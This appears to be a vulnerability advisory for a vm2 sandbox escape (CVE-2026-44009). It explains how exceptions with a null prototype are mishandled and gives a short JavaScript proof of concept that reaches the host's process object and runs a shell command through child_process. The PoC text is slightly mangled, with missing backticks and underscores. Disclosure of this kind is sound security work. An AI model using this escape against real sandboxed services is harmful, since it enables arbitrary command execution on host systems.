CVE-2026-44009: vm2: Sandbox Breakout Through Null Proto Exception

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

In handleException due to // SECURITY (post-GHSA-mpf8 hardening): use from (not ensureThis) exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host Function object.

PoC

js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run( const o = {proto: null}; try { throw o; } catch (e) { e.f = Buffer.prototype.inspect o.f.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned'); } ));

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.